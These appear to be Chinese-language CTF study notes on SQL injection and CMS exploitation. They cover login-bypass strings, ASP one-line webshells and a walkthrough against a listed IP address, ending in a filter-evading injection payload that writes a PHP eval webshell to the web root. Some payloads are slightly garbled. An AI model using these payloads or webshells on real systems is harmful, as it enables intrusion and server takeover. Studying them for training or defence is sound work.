sql注入:
*SQL注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法。
*SQL注入攻击是输入参数未经过滤,然后直接拼接到SQL语句当中解析,执行达到预想之外的一种行为,称之为SQL注入攻击。
SQL注入攻击:
(1)数字注入:
在浏览器地址栏输入:learn.me/sql/article.php?id=1,这个请求相当于调用一个查询语句:
$sql = "SELECT * FROM article WHERE id =",$id
正常情况返回id=1的文章信息,如果在浏览器输入:learn.me/sql/article.php?id=-1 OR 1 =1
这个则是一个sql注入攻击,可能会返回文章的相关信息。
(2)字符串注入:
通常会有一个用户登录的平台,需要输入正确的账号和密码才能登陆进去
因为用户名和密码都是字符串,所以SQL注入的方法则是吧参数携带的数据变成mysql中注释的字符串
'#'和'--':如果输入user=user'#,密码随便输入111,这就就相当于username='user'#'and password='111'但是#之后被看成注释被忽略
'--'后面同理也被看成注释的部分,所以这样就相当于属于一个错误的密码或者不输入密码直接可以登录后台。
我们通常使用的'or1=1#'相当于一个where条件,因为1=1永远成立,所以这个where句子为真。
弱口令:是指简单的密码如123之类的容易被破解的密码
一句话木马:
<%execute request(“value”)%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request(“value”)%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request(“value”)%>这个文件被插入到哪一个ASP文件里面就可以了。
适用环境:
2.已知数据库地址且数据库格式为asa或asp
3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中.
CMS漏洞:
这类题目的解决步骤一般是适用环境
1.通过工具(御剑,d盾等)扫描出后台
一般都是/admin或者/wp-login.php之类的
2.找到登陆的后台之后,要获得管理员账号和密码
尝试sql注入,弱口令爆破
3.登陆进去之后上传一句话木马,再利用菜刀链接找到根目录下的flag
例:给了一个网址:http://219.153.49.228:44930
我们先通过御剑扫描后台
发现一个管理员后台登陆网站
然后我们进行sql注入的测试
账号输入1’则显示操作数据库失败,说明存在注入点。
账号输入1'and'1'='1,然后返回正常的登陆界面,说明是字符型注入,猜测字段。
账号输入1’order by 5#说明是#注释(ORDER BY句子用于对查询结果集进行排序,ORDER BY中每个表达式由列名或列序号(从1开始)组成。)
然后使用bp构造一句话语句
1' uni union on selselectect ‘<%php @eval($_POST[‘cmd’])?>’,2,3,4,5 in into outoutfilefile '/var/www/html/shell.php'#
将其16进制转化写进去,连接菜刀发现在根目录里